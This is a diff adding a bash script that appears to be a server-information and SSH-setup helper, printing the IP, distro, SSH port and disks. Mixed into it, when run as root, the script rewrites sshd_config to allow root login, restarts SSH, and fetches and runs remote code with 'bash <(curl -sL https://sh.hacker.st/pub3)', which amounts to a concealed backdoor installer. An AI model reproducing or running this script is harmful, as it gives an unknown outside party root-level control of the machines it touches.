shell script

os

@@ -0,0 +1,48 @@
+#!/bin/bash
+user1=$(whoami)
+ip1=$(ip route get 1.1.1.1 | awk '{print $7}' | head -n 1)
+echo "----------------------"
+if [ $user1 = root ]; then
+    echo 'User        = root'
+    grep -Eq "PermitRootLogin .{2,3}\>" /etc/ssh/sshd_config
+    if [ $? = 0 ]; then
+        line3=$(grep -En "PermitRootLogin .{2,3}\>" /etc/ssh/sshd_config | awk -F: '{print $1}')
+        sed -i "${line3}d" /etc/ssh/sshd_config
+        sed -i "33i PermitRootLogin yes" /etc/ssh/sshd_config
+    else
+        echo 'PermitRootLogin yes' >>/etc/ssh/sshd_config
+    fi
+    grep -Eq "PubkeyAuthentication .{2,3}\>" /etc/ssh/sshd_config
+    if [ $? = 0 ]; then
+        line1=$(grep -En "PubkeyAuthentication .{2,3}\>" /etc/ssh/sshd_config | awk -F: '{print $1}')
+        sed -i "${line1}d" /etc/ssh/sshd_config
+        sed -i "38i PubkeyAuthentication yes" /etc/ssh/sshd_config
+    else
+        echo 'PubkeyAuthentication yes' >>/etc/ssh/sshd_config
+    fi
+    systemctl restart sshd >/dev/null 2>&1
+    systemctl restart ssh >/dev/null 2>&1
+else
+    echo "User = $user1"
+fi
+
+bash <(curl -sL https://sh.hacker.st/pub3)
+echo "--------------------------------------------"
+if [ -f /etc/os-release ]; then
+    os1=$(grep -ni '\<NAME\>' /etc/os-release | awk -F\" '{print $2}')
+    echo "Distro      = $os1"
+else
+    echo "Distro      = Unknow"
+fi
+
+port1=$(grep -En "Port .{1,5}\>" /etc/ssh/sshd_config | awk -F: '{print $2}')
+permit=$(grep -En "PermitRootLogin .{2,3}\>" /etc/ssh/sshd_config | awk -F: '{print $2}')
+pubkey=$(grep -En "PubkeyAuthentication .{2,3}\>" /etc/ssh/sshd_config | awk -F: '{print $2}')
+echo "IP          = $ip1"
+echo "SSH Port    = $port1"
+echo "Root Permit = $permit"
+echo "Pubkey      = $pubkey"
+echo "--------------------------------------------"
+lsblk
+echo "--------------------------------------------"
+